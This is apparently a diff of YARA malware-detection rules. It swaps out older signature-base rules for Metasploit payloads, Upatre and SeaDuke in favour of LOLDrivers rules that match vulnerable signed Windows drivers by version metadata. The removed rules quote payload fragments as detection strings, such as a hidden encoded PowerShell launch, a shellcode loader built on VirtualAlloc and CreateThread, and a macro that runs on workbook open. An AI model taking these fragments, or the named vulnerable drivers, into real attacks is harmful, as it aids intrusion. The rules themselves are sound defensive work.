+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Seaduke_Sample : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxusbsys_Virtualboxusbdriver_5B26 : FILE
 {
 	meta:
-		description = "SeaDuke Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "011a303b-b051-519f-9687-668c9bcd15ca"
-		date = "2015-07-14"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/MJ0c2M"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_seaduke_unit42.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
-		logic_hash = "3bec2bedaafddd17ee65747f8be773287eda784bdfa8fc11e8378737139ef94e"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxUSB.Sys"
+		author = "Florian Roth"
+		id = "66da7fa1-1387-5a73-858f-05a877f810a9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5657-L5676"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5b26c4678ecd37d1829513f41ff9e9df9ef1d1d6fea9e3d477353c90cc915291"
+		logic_hash = "49554df6ecdbfafbb3cf8f78cdece896830dd842cf1cae1129f11eb69a3588c4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "bpython27.dll" fullword ascii
-		$s1 = "email.header(" ascii
-		$s2 = "LogonUI.exe" fullword wide
-		$s3 = "Crypto.Cipher.AES(" ascii
-		$s4 = "mod is NULL - %s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200055005300420020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005500530042002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200055005300420020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005500530042002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_LNK_Big_Link_File : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_3B6E : FILE
 {
 	meta:
-		description = "Detects a suspiciously big LNK file - maybe with embedded content"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e130f213-53fc-56d6-b1d5-0508a7e18e61"
-		date = "2018-05-15"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_lnk.yar#L2-L12"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e44483583249939494e76f14b022e698ba59dfe8b58133a69135144ef60c743"
-		score = 65
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "d2e411b6-da38-5ff0-a24a-78064a5fafcf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5679-L5698"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b"
+		logic_hash = "f3736282399849376632ee9392bf679779cecbb76fa7bd8ccaff0b787a3370f5"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+
 	condition:
-		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize >200KB
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Upatre_Hazgurut : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7C73 : FILE
 {
 	meta:
-		description = "Detects Upatre malware - file hazgurut.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b0040452-ed63-5e90-9ed6-4f05e7b4eadc"
-		date = "2015-10-13"
-		modified = "2023-12-05"
-		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_upatre_oct15.yar#L8-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "41dd2f615d1c75ef81073d26bfbdb4f5c6735d9a3ff6d543ca77d6e16fe7eb5b"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "ab7574a5-acba-5e3d-9259-e5833d43d195"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5701-L5721"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b"
+		hash = "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c"
+		logic_hash = "9e024ac35be2fe02ecaae96f3cfbbae60b4032986f22710809699049456e979c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
-		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
-		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
-		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
-		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
-		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
-		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
-		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
-		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
-		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
-		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
-		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
-		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
-		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
 
 	strings:
-		$a1 = "barcod" fullword ascii
-		$s0 = "msports.dll" fullword ascii
-		$s1 = "nddeapi.dll" fullword ascii
-		$s2 = "glmf32.dll" fullword ascii
-		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
-		$s4 = "cmutil.dll" fullword ascii
-		$s5 = "mprapi.dll" fullword ascii
-		$s6 = "glmf32.dll" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1500KB and $a1 in (0..4000) and all of ($s*)
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Wistroncorporation_Wirwadrvsys_Wistronrwadriver_D8FC : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.sh"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c56dbb8e-1e03-5112-b2ef-a0adfd14dffa"
-		date = "2017-02-09"
-		modified = "2022-08-18"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L10-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4f0eab53a135242c7891b8c88e937a854c945a10000ca4cbf7b21f4596dca410"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiRwaDrv.sys"
+		author = "Florian Roth"
+		id = "67b74d38-f26d-56b9-8a92-c923ad1f797e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5724-L5743"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d8fc8e3a1348393c5d7c3a84bcbae383d85a4721a751ad7afac5428e5e579b4e"
+		logic_hash = "e991957205079fb282f9fb248637d4723c940a7e9ab708e68082e99adbed647c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "320a01ec4e023fb5fbbaef963a2b57229e4f918847e5a49c7a3f631cb556e96c"
 
 	strings:
-		$s1 = "export buf=\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300740072006f006e00200052005700410020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300740072006f006e00200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031003000310036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031003000310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069005200770061004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300740072006f006e00200052005700410020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069005200770061004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000570069007300740072006f006e00200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		filesize <5MB and $s1
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_2
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1A42 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ec1ae1b6-18a3-5590-ae15-1e2b362c545a"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L25-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f803a5d71a084e1ea453638bdeaa2dd590a1912be652b74b065d9afd332ffa2"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e52f98466b92ee9629d564453af6f27bd3645e00a9e2da518f5a64a33ccf8eb5"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "d776ad80-318f-5e3c-b006-daa70a14aff4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5746-L5765"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0"
+		logic_hash = "bfd4ff6c58d83e8d09d43d75e655993319283d0a41407d20417011d663791fd3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "& \"\\\" & \"svchost.exe\"" fullword ascii
-		$s2 = "CreateObject(\"Wscript.Shell\")" fullword ascii
-		$s3 = "<% @language=\"VBScript\" %>" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Psh
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_F14D : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-psh.vba"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b760f03-b0f8-5871-bd34-e7e44443530c"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L42-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2e6015e8c91ccd8647e78220d10c2d704867369d962b734bb4522a1213be2f2d"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "ffc28a07-9de8-5b22-88eb-1fd7e71db360"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5768-L5788"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f14da8aa5c8eea8df63cf935481d673fdf3847f5701c310abf4023f9d80ad57d"
+		hash = "c6a5663f20e5cee2c92dee43a0f2868fb0af299f842410f4473dcde7abcb6413"
+		logic_hash = "6d1a98e8b5ab416446cf15cf15a2bad93dfbe9b984b40f5fae523e17e6eb5caa"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "powershell.exe -nop -w hidden -e" ascii
-		$s2 = "Call Shell(" ascii
-		$s3 = "Sub Workbook_Open()" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310035002e0031003000340030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310035002e0031003000340030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100350020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Exe
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_EC5F : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-exe.vba"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fd07240e-0ee0-5318-a436-d97054e92414"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L59-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3baa242e90dd845e022785101ebc2d5c0d84007d20aef6a2bb6a9a8c6280d4eb"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "321537007ea5052a43ffa46a6976075cee6a4902af0c98b9fd711b9f572c20fd"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "1d73baba-017c-527d-9eb8-0eb9865656b6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5791-L5810"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5"
+		logic_hash = "74fad50be13de00367a5cecb25f7e3feb53f5e8553fac8cd32edc500a91aad88"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "'* PAYLOAD DATA" fullword ascii
-		$s2 = " = Shell(" ascii
-		$s3 = "= Environ(\"USERPROFILE\")" fullword ascii
-		$s4 = "'**************************************************************" fullword ascii
-		$s5 = "ChDir (" ascii
-		$s6 = "'* MACRO CODE" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_3
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_34E0 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.psh"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ad09167f-a12a-5f07-940b-df679fa8e6c0"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L79-L102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1aeb97c19365f996dc1bc0fd6e01342878967be25d3e042158eba986af28b4a"
-		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "335cfb85e11e7fb20cddc87e743b9e777dc4ab4e18a39c2a2da1aa61efdbd054"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "11164331-fdba-5e7d-a2ea-4621b438060a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5813-L5832"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf"
+		logic_hash = "a2f304406595b6cad63dbc83f32f1a35477d022fe5cad1c11ac9746d3775199d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(" ascii
-		$s2 = "public enum MemoryProtection { ExecuteReadWrite = 0x40 }" fullword ascii
-		$s3 = ".func]::VirtualAlloc(0,"
-		$s4 = ".func+AllocationType]::Reserve -bOr [" ascii
-		$s5 = "New-Object System.CodeDom.Compiler.CompilerParameters" fullword ascii
-		$s6 = "ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" fullword ascii
-		$s7 = "public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }" fullword ascii
-		$s8 = ".func]::CreateThread(0,0,$" fullword ascii
-		$s9 = "public enum Time : uint { Infinite = 0xFFFFFFFF }" fullword ascii
-		$s10 = "= [System.Convert]::FromBase64String(\"/" ascii
-		$s11 = "{ $global:result = 3; return }" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_4
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_D0BD : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "00d7681b-6041-5fe1-adbb-8b7c40df0193"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L104-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e84ef13aa72c7c35520b3534b908c7d00240915ab02f8216a2cef6440c322a2"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "26b3e572ba1574164b76c6d5213ab02e4170168ae2bcd2f477f246d37dbe84ef"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "81712338-7518-565a-8004-4708808d93ee"
+		date = "2024-08-07"
+		modified = "2024-08-07"
